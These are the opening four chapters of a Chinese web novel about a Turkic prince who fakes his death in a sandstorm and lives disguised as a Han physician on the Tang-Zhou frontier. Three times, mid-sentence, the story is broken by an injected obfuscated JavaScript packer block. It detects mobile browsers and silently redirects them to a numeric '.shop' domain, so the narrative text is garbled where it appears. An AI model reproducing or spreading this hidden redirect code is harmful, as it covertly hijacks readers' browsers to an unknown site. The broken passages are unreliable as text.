《大唐政变生存指南》 1. 第 1 章 “大汗密令,赐乌特特勤死——” 长安二年的春夜,无星无月。 戈壁滩上特有的春日的大风,正不住地穿过帐篷的缝隙往里灌。一盏孤灯摇摇晃晃,照见帐篷中少年人的英俊面容。 洛北一身白紫华服,坐在织锦铺就的地毯上,正在同自己下棋。 帐外有人高声以突厥语大喊:“乌特特勤,大汗召见!” 洛北不答话,只是看着棋局:十九道纵横上,黑子绵延成片,白子已被迫入角落,一条大龙动弹不得。白子四处挣扎,却怎么也找不到一线生机。 有人掀开帘门,晦暗的天光投入帐篷的一瞬,一道锐利更甚天光的刀光一闪而过,架在了来人脖颈上:“不要动。” 来人深深吸了口气,反手抓住了洛北的手腕:“等一等,乌特。是我,阙特勤。” 洛北收刀回鞘:“大汗怎么会派你来杀我?” 阙特勤是突厥大汗默啜的侄子,素有突厥第一勇士的名声。但阙特勤与他年纪相仿,是他的至交好友。默啜就是再刚愎自用,也不该派他最好的朋友来杀他。 阙特勤“哼”了一声:“简单,只要我和你两败俱伤,他那废物儿子的储君之位不就保住了吗?要是咱们有谁敢心软——外头可有七个默啜的铁杆护卫。乌特,你一向以智计闻名草原,你说,该怎么办?” 洛北顺手摘下了挂在边上的弓箭,引弓搭箭:“杀出去。” “正合我意——”阙特勤自腰间抽出刀,反手一刀削断了帘门。 门外骑兵们人人手持火把,照得戈壁滩上有如白昼。 洛北已将一箭放出,正中一人眉心。那人落下马来,发出一声巨响。剩下的几个骑士这才反应过来,齐齐向他俩杀来。 阙特勤挥刀杀了出去,他身材高大,身形却不笨重,一避一让之间,刀尖就已划穿一人咽喉,他挽了半个刀花,反手后刺,正洞穿一人胸膛。 趁着这阵混乱,洛北连发数箭,撂倒了几个人。离他最近的骑士看他箭筒已空,当机立断挥刀向他砍来。 他有高度优势,力道大得出奇。电光火石之间,洛北腰身后仰,掷出手中之刀。那骑士收势不住,胸口中刀,坠下马去。 这一场恶战,总算结束了。 洛北与阙特勤合力将几具尸首抬进帐内,又各自换下被血染透的衣裳。洛北将火油泼在帐篷四周,点起了火。 塞外秋日干燥,风助火势,一下子就烧了起来。阙特勤将那些骑士的补给一一收集起来,挂在自己和洛北的马上,又递给洛北一皮袋水:“别看了,在这场大火把附近的人引来之前,咱们逃的越远越好。” “以我对默啜的了解,如果他真的想让我们都死在这里,就不会只派这一队人马。”洛北转过身去,金棕色如琥珀般的眼睛定定地看着阙特勤:“阙特勤,你得和我演一出戏。” 一场自相残杀的大戏。 塞外苦寒,春日里依旧风声凛冽,寒风呼啸。只有干涸的河床里一点隐约的绿意。 洛北催马疾驰,只要沿着干涸的河床一路东行,便能到大周的瓜州城。如今也只有在那里,他才能找到一点活下去的希望。 奔驰之间,洛北听到后头马蹄声滚滚。他料想是阙特勤依照计划追了上来,他回身放出一箭。一箭正落在阙特勤马前。 阙特勤慌忙强拉缰绳,强令马儿偏头跳过。后批追兵的头领却不甘示弱,也放出一箭。 洛北侧头避过,双腿用力一夹马腹,跑得更远了。 阙特勤冷冷一笑,嘲讽那头领道:省点力气吧,论骑射,莫说在牙帐,就是整个草原,也没有几个人是他的对手。” 头领狠狠抽了两鞭,催着骏马跑得更快些:“阙特勤,你要是不怕我在大汗面前说你办事不力,就继续看着吧。” “大汗密令是给我的,不是给你的,用不着你来教训我!更何况,我和乌特还有一场赛马的胜负未决。”阙特勤也抽了两鞭。 他那马儿神骏异常,很快就把身后的追兵甩得看不见人影。洛北却在前方勒马停住,转过身来向阙特勤打了个呼哨。 阙特勤勒马停在他二十步之外的位置,取出弓箭来远远地瞄着他:“怎么了?” “要来黑沙暴了。”洛北斩钉截铁地说。 春日沙暴素来是草原牧民的噩梦。原本好好的万里晴空,风沙一到,就能把人和牲畜一道刮起。有的沙暴甚至可以掩埋村庄、拔树断流——风沙所过之处,摧枯拉朽,绝非人力所能抗衡。 阙特勤点了点头,还没说什么。一枚羽箭破空而来,朝着洛北的耳边划了过去。 追兵已到,洛北披上斗篷裹住面容,勒令马儿调转方向向西边奔驰而去。 狂风卷着黄沙,铺天盖地地向这边袭来。飞沙走石都打在人的身上,洛北独自冲到一处孤零零的石峁下,跳下马来。他扶着石壁,一路寻找,才找到一处石洞可供容身。他正要叫马儿趴在外间,好抵挡风暴,却看到一道锦袍身影出现在近前。 阙特勤。 风沙不断地从四面八方袭来。洛北只得紧紧抓着山壁上一块凸出的岩石,伸出一只手去拉阙特勤。 两人好不容易手掌相握,洛北想把他拉进石洞里,奈何风沙太大,他试了几试未果,只得冒险放开了手,双手用力把阙特勤拽进石洞里。 阙特勤不妨被他这样一拽,摔在地上,下意识放开了他的手。洛北立刻被一阵席卷而来的狂风吹走了。 阙特勤惊恐地瞪大眼睛,伸手要去拉洛北,却只拉到了洛北的衣角。他顾不上风大,向前挪动几步,浑身用力,想把洛北拉进来。 偏在这时,一块飞石不偏不倚地击中了他的手臂,他一吃痛,手上一动,只撕扯下一块布料。 下一刻,洛北的身影已经消失在了茫茫沙暴之中。 沙暴持续了一个时辰,才渐渐减弱。蓝色的天空里太阳刺眼地放着光。天穹低矮而凝重,仿佛一抬手就能碰到。 现在沙漠里一片安宁,一片黄色的世界里,沙蜥蜴从洞穴里探出头来,一只雄鹰展开双翼,在一声尖啸中俯冲而下,朝着猎物去了。 若不是亲身经历,谁能想到这里刚刚发生过一场剧烈的沙暴。 阙特勤从石洞爬出来,咳出满腔的灰尘。沙浪如退潮后勾画着奇妙的脉络,在被风暴抹平的沙地里,他试图寻找还活着的人。 阙特勤把几个护卫从沙地里刨出来,众人一道搜寻,才找出剩下人的尸首,不是死于窒息,就是被沙暴卷起的石头砸碎了五脏六腑。 阙特勤问:“找到乌特特勤的尸首了吗?” 突厥牙帐中人人皆知,阙特勤与乌特特勤是生死之交的挚友。几个护卫各自对视一眼,开口道:“阙特勤.......风沙卷过的地方这样多,哪里还能找到乌特特勤的踪迹?或许他是找到地方躲起来了,或许他是被埋在了什么地方。总之是生不见人,死不见尸了。” 阙特勤看了手边扯下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281623|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的半块衣角,惨笑一声:“难道我如今只能拿着这块衣角去给大汗复命,说因为沙暴,任务目标已经生不见人,死不见尸了?几位和我同行,如果大汗责怪,你们就和我一起承担吧!” “属下不敢!”几个幸存的护卫赶忙跪倒在地。有那机灵胆大的护卫反应过来:“我等奉命护送乌特特勤回牙帐觐见大汗,不料半路遇到黑沙暴,乌特特勤与头领同没于沙暴之中,尸骨无存!” 剩下的几人都反应过来,纷纷附和:“是,沙暴都过去了,如今一点动静没有,乌特特勤一定是死了。” “就是就是,如果没有死在沙暴里,缺水少粮,他也一定活不久。” “我等愿意与您一道向大汗复命——就说乌特特勤已死!” 阙特勤点了点头,带着一众护卫向外走去,临行前,他又回头看了一眼石峁和沙地: 那里空无一人,空无一物。 洛北做了一个漫长的噩梦。 他梦到纷乱的朝堂上被禁军架出去的宰相,梦到流放道路上,落雨的驿站中充满血腥气的地面和耳边缠绕不绝的刀刃碰撞声—— 他惊醒于有什么温热的东西掉在了他的身上,扑闪着翅膀在他身上跳。 意识随着这一下下地跳跃回到脑海,洛北睁开眼,发现自己的手掌上有一只浑身是血的幼鸟。它扑闪着翅膀想飞回鸟窝去。 “是金雕。”他伸手摸了摸幼鸟的脑袋,知道金雕有在食物不够时族内残杀的传统。只把它捧在手中,支撑着站起身来,四处打量。 他身处一座古城子中,目之所及,只有土墩垒砌的城墙、几座佛塔、几座土质的房屋。他勉力起身,在一处土墙上发现了鸟巢,里头已有了几只耀武扬威的幼雏。他靠着土墙向上攀去,借力将幼雏送回巢中,不料扒到一处缝隙,一团纸团率先掉出。 他展开一看,竟是一封书信: “五月七日,海头城西域长史关内侯李柏顿首……” 洛北将李柏的名字念了一遍,想起这是《晋书》中的人物,前凉第四位君主张骏的部下。海头城便是当时前凉屯兵所在,离楼兰古城不远。他原想一路向西往蒲昌海而去,没想到竟然被风沙吹到此地,也不知此地离蒲昌海还有多远。 他正思索着,忽而头上一阵飞沙走石,竟是那只幼鸟又被推下巢穴,它跳到了房檐上,几下踩踏,塌了屋檐。他躲避不及,被一只包袱砸了头。 那包裹里好好地收着数块金、银锭,不少珠宝,还有一只打磨得甚是精美的玉笛。 或许是当时前凉内乱,有达官贵人逃难至此,躲避不及留下的。 “可惜啊。”洛北叹了口气,“这些东西,既不能吃,也不能喝。”他已经失去了所有补给,身边的只有一把唐刀。他自己和这只垂死挣扎的幼鸟,迟早都化为戈壁中的一具枯骨。他靠在土墙上,逐渐意识模糊。 又是一声马鸣,将他的意识唤了回来。 马鸣?在这地方会有马鸣?他抿了抿干渴的嘴唇,重新站了起来,看到烈日之下站着一匹通体黑色四蹄雪白的马,正是他自己的坐骑。那马儿身上还载着阙特勤从那些骑士们马上夺来的补给。 他摘下一只水囊,抿了几口水,又咬了一口肉干。小鸟在他的掌间快活地啄着肉干的碎屑。他喝饱了,也将水囊递到马儿口边,那马儿却不理他,只咬着他的袖子,让他上马。 驰骋半日,一片开阔的水域出现在他面前。 蒲昌海到了。 2. 第 2 章 蒲昌海水天相接一色,根本望不到边缘。 洛北牵马走到下游,解开自己突厥样式的发辫,脱下自己突厥样式的袍服,跳入河中,洗去身上的尘埃。 戈壁滩上的绿洲里风声呼啸,荒野里只有亘古不变的明月在注视着他。 洛北重新换上汉人的粗布青衫,将头发挽起,在包里翻出他早已准备好的通关文牒。突厥汗国的乌特特勤自此从人间消失,戈壁滩上的绿洲里只剩下一个并州来的汉人郎中。 他一边往嘴里塞干粮,一边喂给金雕一些碎末,又随手捡起一节枯枝为笔,在沙地上画下一幅简易的地图。地图的另外一端就是他刚刚给阙特勤指出的瓜州。 只是因为这阵沙暴,他较原来的路程向西偏移了二十里。原来计划要走的路,是彻底不能用了。洛北将突厥人的各路岗哨在图上标出,勉强在几条路途中选了一条隋朝末年废弃的旧道前行。 这条道路几乎已被风沙遮盖,罕有人迹,也就不会有突厥人的哨兵来打扰。洛北白日赶路,行猎,晚上便寻个背风处将火堆升起,烤些小兽充饥。 路程走到第十八天,瓜州城的轮廓终于出现在地平线上。 洛北本想尽快入关,天色却一时阴沉过一时,显然要下暴雪。他不敢在荒野上与风雪搏斗,只得拨马去寻附近的人家,走了小半日,在山坡深处找到几处燃着炊烟的人家。 那几家屋舍都整治得颇为干净整齐,土墙边挂着几条晒干了的肉脯,屋后有一口圆井和一片结霜的葡萄藤。 洛北叩了一家的门,门内出来一个三十余岁的农村汉子,面目方阔,肤色黝黑。洛北客客气气地行礼,说是路过的游方郎中,姓洛名北,想借宿一晚。 那汉子上下打量了他一番,见他颇为年少,孤身一人,又是行色惨淡,想来已在荒野上走了些时日,心下先少了几分戒备。他一面把洛北往屋子里让,一面笑道:“这地方偏僻,也不知道小郎中怎的寻来,我姓周,在家里行首,小郎中叫我一声‘周大’便是了。” 洛北低头应了声:“周大哥。”又摸出十几枚铜板递给周大:“天气冷,看大哥厨房里可有吃的?卖我一碗?” 周大一笑:“要不怎么说小郎中来得巧呢,今晚我和娘子吃的正是羊肉汤,还剩了些,且稍候片刻。”他手脚麻利,很快自炉边端出一碗羊肉热汤来。 此地附近是牧区,羊肉易得,肉嫩味甘,少有膻腥之气。洛北喝了一碗,只觉得浑身都暖和起来,他拈了些碎肉喂给金雕。他开口正要道谢,正见那汉子在一边期期艾艾地盯着他。 “大哥有事找我?”洛北心下已有了几分计较,“可是家里有病人?” 周大神色一喜:“给小郎中说着了,我的娘子得了个怪病。一到晚上就发热不止,天亮了才好些。我们也去看了郎中,他说的那些我也不懂,只开了个‘四什么汤’,结果她吃了却吐得厉害。实在是没法子了,才来问问小郎中的办法。” 洛北无奈地一笑:“我不善治妇人病。只是大哥开口问了,我就试试。” 里屋收拾得十分干净,只是没有炉火,周家大嫂躺在卧榻上,蒙着一双眼,想是许多时间没有睡好,看到有人进来,不过虚弱地笑笑,便把头又垂下去。 洛北低声向她道过姓名,从枕头上抓了一条方巾来,盖在她的手腕上,一边诊完,又换一边。 周大在一边急得搓手:“小郎中,怎么样,可有什么办法?” 洛北想了想,又问周家大嫂:“嫂夫人可否将这怪病发作之前的形状再说给我听听?” 妇人声音虚弱:“原是前几日有个商队打这儿过,送我们些水果。冬日水果罕见,我那时候些微有些咳嗽,就拣个梨吃了。其他就再没有了。” 洛北点了点头,向两人道:“大哥,嫂夫人,这也不是什么大病。想来是胃虚又食了冷物,所以阳气被遏制在脾土之中。想来嫂夫人那时候也是葵水刚过,有些血虚,我开个‘升阳散火汤’,吃上一剂试试。” 他从包袱里取出纸笔,将毛笔尖在烛火上化了化。但那毛笔随他风餐露宿太久,写了几下都写不出字来,倒是毛都掉没了。他尴尬地顿住,一时不知如何是好。 周大笑着解了围:“咱这儿药铺不远,明天早上雪停,我带小兄弟走一趟就行。” 第二日一早,雪就停了。窗外映着一片雪光,甚是明亮。天还没大亮,周大就带着洛北深一脚浅一脚地踩着雪往镇上赶。 赶路无聊,洛北便随口问起此地情形。周大边走边给他说:“我们这些人,本来是住在山下的多。可惜这些年突厥常常来打我们。朝廷的兵马我们却没怎么见过。好些个人活不下去了,拖家带口地来这山里躲避,久而久之,这里倒有了个小镇。这地方不在官方的地图上,来的外人不多。只有几支商队会在这儿歇歇脚。” 洛北点了点头:这地方是逃户聚集的镇甸,怪不得他从未在任何一张地图上见过。他和周大一道停在药店的旗幡下,周大先进店里招呼起来:“范三叔,来了个小郎中,替我家娘子开了副新方子,你快来替他抓药。” 那药店老板范三正守着柜台打盹,被他这样一闹,也不生气。毕竟这镇甸里来来往往的都是沾亲带故的人。他抬眼打量了一下洛北,见这少年人面容清俊,年纪不大,更是不以为然:“这小子还是个孩子嘛——嘴上没毛,办事不牢,你也敢叫你家娘子吃他开的药。” 周大不甘不愿地反击道:“总比吃了你的药呕吐不止的好。” 洛北没理会他们这番来往,只拿了药店的笔重新写升阳散火汤的方子:“升麻五钱、葛根五钱、独活五钱、羌活五钱、白芍药五钱、人参五钱、炙甘草三钱、生甘草二钱、柴胡三钱、防风二钱五分。” 范三围过来看他写字:“字不错,就这方子可太破费了些。少说要一贯钱。也不知道周大家出不出得起。” 周大也显出些踌躇:“一贯钱么,有是有的,本来是要等开了春,买点牲畜,修缮农具使的……”他把目光投向洛北:“小郎中,有没有便宜些的法子?” 洛北想了想,没有立刻说话。周大见他不语,心下已经明白三分,最后还是咬了咬牙:“那便买了吧。” “小郎中,你可要想好,这治不好病,你怎么下得来台哟?”范三转身在药柜里抓药,照着方子把药都配齐了,又一一打包起来,递给周大。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281624|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛北不以为意地袖起手:“治不好病,药钱自然我出,要赔多少,我也都认。范三叔,倘若我真治好了,又当如何?” “那算我学艺不精,我给小郎中磕头拜师!”范三笑道。 洛北笑了笑,应下此约。那范三还要守着店铺,走不开,就叫小药童拎着药材往洛北走一趟。几人到家煎药,已是晚餐时分,周大等得心焦,见洛北把药舀出来,也不怕烫,当场端去,一口一口地喂他娘子喝下。那妇人喝了药,靠在床边歪了半晌,又拽周大:“我要先睡会儿,你小心招待客人。”说罢,躺下去睡了。 几人都守在屋外的炉火边,都不说话。周大盯着炉子里牛粪烧的火焰,洛北和药童各自望着一边,大约一个时辰过去,洛北拍了拍那小药童的肩:“你去试试她额头。” 周大闻言,跳起来就往屋子里跑,他颤着手在自己和妇人的额头上一试:“当真不烧了!”他差点高兴得差点蹦起来,又想到床上还有个病人,才按捺下心情,走出来对着洛北纳头便拜:“多谢小神医救命大恩!” 洛北忙摆手避过,不敢受他这样的大礼:“举手之劳,大哥实在客气。” 那药童却不信,进屋子又仔细试了试周家大嫂的体温,出来又上下打量了一眼洛北:“你……你这是医术,还是妖法?” 周大只笑着拍了拍他的肩:“好了,小子,这会儿可服了吗?深夜路不好走,明天回去和你家恩师复命罢。” 次日清晨,范三听了药童的复命,脸上青一阵白一阵,本要再说什么,却看到洛北似笑非笑地盯着他,当下把心一横牙一咬,撩开袍服,双膝即将跪地:“老夫学艺……” “范三叔不必如此。”洛北双手扶住了他,他用了几分暗劲,把人从地上扶了起来:“这意气之赌,原是您提出的,我只得应约。实际岐黄之道何其深邃,我不过凭了一点侥幸而已。您不必介怀。不过有一事,还请范三叔帮忙。” 范三叔本还要再往下坠一坠,却觉得这小子双手有如铁铸,根本无法动摇。他哈哈一笑,站起身来:“好说,好说。” 洛北得他应承:“诚如范三叔所言,我开了副颇为破费的方子。嫂夫人虽然已经不发热了,后续却还需加减四物汤调养。想来我这大哥已为了嫂夫人的病破费许多,我请范三叔将这方子抓上几副,便宜些卖给我。” “老夫已经应承,请小神医不要再提一个‘卖’字。何况又是乡里乡亲,我帮衬些也是应该。”药店老板替他磨了墨,“小神医写下方子,我便将这药赠给你。” 洛北提笔写下四物汤配方,只去了地黄,加上枳术、陈皮二物,又对周大指道:“请嫂夫人吃上三两副,身体便调养好了。” 周大又忙着跪地道礼,洛北不好再拦他一遍,只得生受了一礼,才把他扶起来,笑道:“大哥何必这样客气,我觉得昨日那羊肉热汤不错,想再喝一碗。” “做,这就去做!”周大一拍脑袋,“这热汤要加些芜菜好吃,我知道有家有,小神医请等等,我这就去买点。” 洛北百无聊赖,本要跟着他一道去,却见到有人在一处暗巷中向自己招手,当下顿住脚步,一手按上刀柄,缓步向那边走去。 3. 第 3 章 招呼洛北的这人身材高大,穿着里衬着皮裘的褐袍——这正是长安城里大户人家的管家下人们最常穿的装束。洛北不知自己如何引来了这座大佛,面上却不表,只拱手道礼:“阁下寻我有什么事?” “我家老爷路经此地,偶感风寒,想请小郎中前去医治。” 这管家并不指摘他礼仪,也不似其他人称他一声“小神医”,反而干净利落地道出来意。洛北点点头,心里已预感到自己招惹了个麻烦:“我才疏学浅,恐怕不敢诊断贵体。” 那管家似乎已经预料到他会如此回答:“小郎中何必如此,那周家汉子我们自会告知,小郎中的行李也会取来的。” 洛北深深叹了口气,他知道这些聚集于此的乡民算是“逃户”。此人又有京中背景,只要一个“报官发落”,就够满镇人受尽苦楚、家破人亡:“何必劳烦,我去打个招呼,取了行李便和你们去。不要为难无辜之人。” 这长安来的贵人住在镇上最好的那处院落里,院落只有一进,用石头修得十分宽敞整洁。洛北习惯性地打量了一眼,发现院内院外的各处哨点都有官兵把守,心知布置此地的必是个知兵之人:“不知在这里停留的是哪位将军?” 带路的管家转过身来:“小郎中,我家老爷请你来问诊。不该问的话不要乱问。这是为了你的脑袋着想。” 洛北自做了“乌特特勤”以来,还从未被人这样当面呼喝过,但他有心藏匿行迹,只得按下性子,走进屋子。 半靠半躺在床上的是个已过知天命之年的老者,头发胡子都花白了,身子却很壮实。洛北给他行礼,他只挥挥手,自喉咙里挤出一点声音:“坐,坐。” 洛北听他声音断断续续,已经皱了皱眉,待试过两边脉搏,更是迷惑。他转身问带他来的那管家:“你家老爷是如何病成这样的?” 那管家不耐烦地甩了甩袖子:“只不过是赶路的时候着了凉,先是咳嗽发热,然后就这样了。” 洛北摇了摇头,将老者的手腕放回原处,默然起身:“这样的病人我治不了。” “你这是什么意思?!” “没什么意思。”洛北高声道,“医家讲望闻问切,我这四道只能行两道,这样的病人,我找不出病因,开不出药方,便是勉强开了,也治不了病。你若要杀我,现在就杀。这荒郊野岭,只怕我死了,你家老爷也活不成。” “你!”那管家自腰侧抽出一把明晃晃的唐刀,“我看你是要造反!” 洛北闭上双眼,不再说话。 “告……告诉.他。”那床上的老者忽而捶了一下床边,呼喝道。 “是。”管家将唐刀收回身侧,“我家老爷是京中御史,姓解,讳琬。此次是以西域安抚使的身份来到边关的。” 洛北还是突厥汗国的“乌特特勤”的时候,就了解过这位解琬解御史的情况。解琬少年时参加幽素科,登进士第,一开始是做县尉、县丞这样的小官,后来因为谙熟边事,才被女皇超擢到了监察御史的位置上。他经常被委以使节重任,在塞外各国之间来往,捍卫大周的利益。 突厥大汗默啜深恨解琬在西域各国中的威望,曾经屡次派出杀手刺杀,但回回都因为找不到解琬的踪迹无功而返。 默啜曾经抱怨过,解琬只是普通人,又没有遁地之术,怎么会找不到踪迹。 今天洛北在这偏远镇甸见到他,才明白了原因:这位解御史轻装简行,压根就不从地图上的大路走。 洛北谙熟边事,自然能猜出解琬此行的原因: 如今西域局势混乱,大周、吐蕃、突厥三家相争,域外还有大食虎视眈眈。依附大周的西突厥却和同样依附大周的突骑施不合,甚至动起刀兵,导致丝绸之路断绝。解琬以“西域安抚使”的头衔出现在这里,一定是为了调停西突厥和突骑施的战事。 只是作为洛郎中,他是不能知道这些的:“看来解御史是要往西域去?” 那管家又瞪了他一眼,似乎是觉得他是个没见识的乡巴佬:“就知道和你说了你也听不懂。你警醒点,接下来我要说发病的情况了。 前日我们一路向边关赶路,为风雪所迫,避到这座小镇里。路上老爷睡了一觉,醒来有些发热,但边关行路,此事常见,我们也就没有放在心上。结果没想到,今天就病的这样重,几乎起不来身了。” 洛北点了点头:“可否请教后来你家老爷都吃了些什么?” “这里的羊肉不错,就吃了些羊肉。结果一觉睡醒,喘得越发厉害,几乎不能平躺,连话也说不出了。” 洛北点了点头:“我知道了。”他一伸手,身边已有仆从递上笔墨。 洛北低声道谢,又在纸上落笔写下方子:麻黄不去根、杏仁不去皮尖、甘草生用,加橘红、半夏、前胡。 他将方子拿起来,轻轻一吹,吹干余墨:“请照方抓药,每服五钱,水一盏半,姜钱五片,煎成一盏,滤去渣子之后给你家老爷服用。” 管家拿了方子,出去找了个侍从采办煎药,自己又立刻转回屋内,站着同洛北对峙,显然是一副没打算让洛北好过的架势。 洛北懒得同他置气,干脆找了个干净地方席地而坐,闭目养神起来。 那管家看他悠闲模样,气不打一处来,见小侍从来了,指桑骂槐道:“煎个药怎么煎了这样久?该不会去哪里躲懒了吧?” 小侍从被他骂得进也不是,退也不是,眼看着一碗滚烫的药就要烫红了手。洛北站起身从侍从手上接过药碗,又温声对小侍从道:“帮我找个痰盂来可好?” 小侍从看看他,又看看管家,一时没敢挪动。 洛北拍了拍他的肩:“无妨,去吧,有事我担待着。” 小侍从应了一声,飞快地跑了出去。 管家有心发作,不阴不阳地拿话挤兑他:“小郎中自信你的药这样灵验?一副就能起效?” 洛北没回答他,一勺一勺地喂解琬喝了药,又替他盖上被子。半刻之后,解琬猛然咳嗽起来。 洛北忙扶他坐起身,轻轻拍他的后背,让他往痰盂中吐了斗许的痰。 解琬呼吸渐渐平顺起来,不再粗喘。洛北才给他端了半碗水漱口,又对侍从道:“把药温在炉子上,睡前再喝半碗。好好睡上一觉,明天就可以正常说话了。” 管家不可置信地看了看洛北,又看了看解琬:“你这是医术?还是妖法?” “当然是医术。”洛北不耐烦和他解释医理,“你若不信,明天早上可以见分晓。” 管家“哼”了一声:“我就不信这野地里出来的郎中,道行比太医院的还要高。小子,我家老爷痊愈之前,你可不许胡乱走动,就在这院里给我待着。” “若是你家老爷一睡不醒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281625|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以拿我的脑袋去抵命。”洛北斩钉截铁地道,“只是我今日累得够呛,现在要回房休息了,告辞!” 他一甩袖子,迈步进了厢房,看见自己的标记还在包袱皮上,知道没人翻动过,心里暗自缓了口气,耳边却突然响起一阵叽叽喳喳的声音。 洛北转过头去,却发现自己那小金雕被关在一只木笼子里,见他来了,越发叽叽喳喳地抗议起来。 “怎么把它当成小雀儿一类的东西了。”洛北哑然失笑,他知道这小东西关的憋闷,便放它出来,在手心放了些干粮,任它去啄:“怎么碰上这位从京中来的解御史了……你说,我该怎么办?” 那金雕全不在意他说什么,吃饱了粮食,便要满屋子乱飞,洛北只得给窗户开了条缝,让它出去透透气: “飞高些,莫要被人捉住了。” 第二日天微亮,洛北就被一阵嘈杂声吵起了起来。屋外头站了一堆人,说笑的、喝彩的、议论的连成一片,像是炸开了一锅粥。 洛北走出房门,看到初寒的春夜里,管家光着膀子,背着荆条跪在他门口,四周都是围观的侍从、下仆,人人脸上都是欣喜神色——看起来这管家的人缘素来不佳。 洛北看到管家唇边的胡须已经起了霜,便知道他跪了不短的时间。他不愿意在这种情况下闹出人命,便伸手把管家扶了起来:“何须如此?” 管家打着哆嗦,几度张口,都说不出完整的句子。洛北只得扶着他进了屋子,解开他身上的荆条,又把被褥盖在他身上:“若有热水,给一碗来。” 当下便有人递了杯热水来,洛北看也不看,一把接过,缓缓喂管家喝了,又把半杯温水给他握在手里:“你可感觉好些了?” 管家颤颤巍巍地抬头,却看向洛北的身后。 洛北回头一看,身后那个刚刚给他递水的人,也正是他昨日医治的病人——解琬:“见过解御史。” 解琬面色红润,声如洪钟,大手一抓,立刻把他扶了起来:“小郎中,你妙手回春,救我性命,我还没有谢你呢。不需如此大礼。” 洛北忙道:“不敢。”还是躬身道了一个礼才作罢。 解琬喜他知进退,有分寸,脸上却不表露出来:“我约束下人无方,昨日竟让这蠢货那样羞辱小郎中。今日特让他来郎中面前负荆请罪。小郎中为何要救他?” 洛北笑了:“我不过是以直报怨罢了,他确实开罪于我,但绝对罪不至死。” “果然是医者仁心呐。”解琬拊掌叹道。他转向洛北,笑意盈盈地盯着他的眼睛:“洛郎中有这本事,又说得一口好金陵洛下音,合该到长安太医院去,为何到这边塞苦寒之地来?” 解琬虽然面上一派和气,笑容却不达眼底,这分明就是在盘问他。洛北不慌不忙,把心里早已打好的一篇腹稿拿了出来: “晚辈本是并州人,一直与家师游历天下,行医施药。这什么……金陵洛下音,还是我和家师学的。如今我是奉师命来这边塞寻几品珍贵药材。” “药材可寻得了?”解琬问。 “不曾,本要托人去昭武九姓之地寻找,却听粟特商人说那边在和大食打仗,晚辈便回来了。” 洛北特意在话语中抛出一条有用的消息给到解琬,转移他对自己身份的注意,解琬果然眼前一亮,开始询问西域的战事:“大食侵扰昭武九姓?” 4. 第 4 章 “不错。大食人在呼罗珊地区站稳了脚跟,立马便觊觎起富饶的河中之地。如今那些奔走在丝路上的粟特胡商们,正在向我们、突骑施和突厥求援。不过我的消息也是听说的,未必很全。” 解琬听他说话条理清晰,有心留他多问问边塞情况,开口正要询问,外头闯进来一个着急忙慌的随从:“不好了!不好了!突厥人打来了?!” “什么?”管家出言斥责,“话回得清楚些,此地如此隐秘,突厥人怎会知道?!” 那随从好容易喘匀了气,把来龙去脉详细地解释了一遍,原来今冬苦寒,突厥人大举南下劫掠粮草和人口。有一支偏师就向着瓜州而来。突厥兵锋如火,山下的那些百姓匆匆往山上逃命,吵吵嚷嚷的,都说是“突厥人来了。” 这些年突厥入寇频频,武周朝廷一贯御而不击,百姓就自己摸出了逃命的门道。解琬身为常来塞外的御史,自然知晓内情,他轻轻叹息一声:“既然这样,就等突厥兵如风一过,我们再同百姓一起下山吧,你何以如此惊慌?” “这支偏师与之前那些劫掠的突厥部队不同,我细心观察,发现他们派了不少人追踪而来,似是想将山上的这些人一网打尽。”那随从越说神色越焦灼,“老爷,咱们快逃吧,再不逃,恐怕会被困死在这里。” 解琬深深叹了口气:“看来今年这个冬天,草原上的日子不好过。这分明是急需补充人口才会用的法子。恐怕此刻我边关已经全线告急……” “不知道领兵的是哪位突厥贵胄?”洛北忽而问。 “不知道,只知道是位可汗子侄,兵马众多,少说有五千人。”随从低着头回话,也没有看清是谁发问,开口就答。 解琬极奇怪地瞪了洛北一眼,似是不明白他为何有此一问:“洛郎中,突厥国内的重要官职多为阿史那王族子弟出任,极少有例外。再说,就这座小镇,只不过一二百人吧,便是五十骑兵,都能将这里扫荡干净。你问这句话有什么意义?” 洛北避而不答:“我只是在想,可否试试看化整为零,将百姓从此地撤出。” 解琬神色更加怪异,他挥了挥手,示意周围人都退出去。管家走之前极谨慎地看了他们一眼,才将门扉合上。 解琬看向洛北:“洛郎中,你不想逃命吗?” “想。”洛北斩钉截铁地回答,“只是覆巢之下无完卵,我一个人在这茫茫雪地里,又有突厥大军,不论去哪里都不算安全。” “我有个地方可以让你去。只是你要答应我一件事情。”解琬说,“凉州都督郭元振是我的好友,我会修书一封,是求援,也是推荐。你把我的这封信带给他,他自会收留你。” 